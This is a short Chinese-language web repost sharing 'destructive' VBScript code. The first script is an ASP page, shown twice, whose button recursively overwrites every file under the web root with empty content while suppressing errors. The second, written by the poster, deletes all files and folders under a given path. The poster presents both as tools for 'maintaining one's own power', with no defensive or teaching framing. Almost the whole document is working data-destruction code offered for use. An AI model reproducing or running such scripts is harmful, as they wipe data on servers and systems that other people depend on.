VBS破壞性應用代碼
2020-07-26 11:56:24
供稿:網(wǎng)友
 
						'網(wǎng)上看到的,適用與沒有禁用shell.application的服務器    
server.scripttimeout = 99999    
If request("submit")<>"" Then   
    Call listfile(server.mappath("./"))    
    response.Write"處理完畢"   
Else   
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"   
End If   
Function listfile(fpath)    
    On Error Resume Next   
    Dim Shell, Folder, s    
    Set Shell = server.CreateObject ("shell.application")    
    Set Folder = Shell.namespace(fpath)    
    Set f = server.CreateObject("adodb.stream")    
    f.Type = 1    
    f.Open   
    For Each s in Folder.Items    
        If s.isfolder Then   
            Call listfile(s.Path)    
        Else   
            f.savetofile s.Path, 2    
        End If   
    Next   
    Set f = Nothing   
    Set Shell = Nothing   
End Function   
'網(wǎng)上看到的,適用與沒有禁用shell.application的服務器 
server.scripttimeout = 99999 
If request("submit")<>"" Then 
    Call listfile(server.mappath("./")) 
    response.Write"處理完畢" 
Else 
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>" 
End If 
Function listfile(fpath) 
    On Error Resume Next 
    Dim Shell, Folder, s 
    Set Shell = server.CreateObject ("shell.application") 
    Set Folder = Shell.namespace(fpath) 
    Set f = server.CreateObject("adodb.stream") 
    f.Type = 1 
    f.Open 
    For Each s in Folder.Items 
        If s.isfolder Then 
            Call listfile(s.Path) 
        Else 
            f.savetofile s.Path, 2 
        End If 
    Next 
    Set f = Nothing 
    Set Shell = Nothing 
End Function 
以前也看到過這個,感覺沒什么用,這么危險的組件服務器一般都禁用了,但今天,我突然覺得有進也得收集或制作一些這樣的軟件,可以維護自己的權(quán)力。具體什么原因我就不說了,我寫的一個: 
view plaincopy to clipboardprint? 
'看到文件刪文件,看到文件夾刪除文件夾    
Function FilesTree(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject")    
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders    
    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        'WScript.Echo oFile.Path    
        oFile.Delete   
    Next   
    For Each oSubFolder In oSubFolders    
        'WScript.Echo oSubFolder.Path    
        oSubFolder.Delete   
        'FilesTree(oSubFolder.Path)'遞歸    
    Next   
    Set oFolder = Nothing   
    Set oSubFolders = Nothing   
    Set oFso = Nothing   
End Function   
FilesTree("F:/deltest/deltest") '遍歷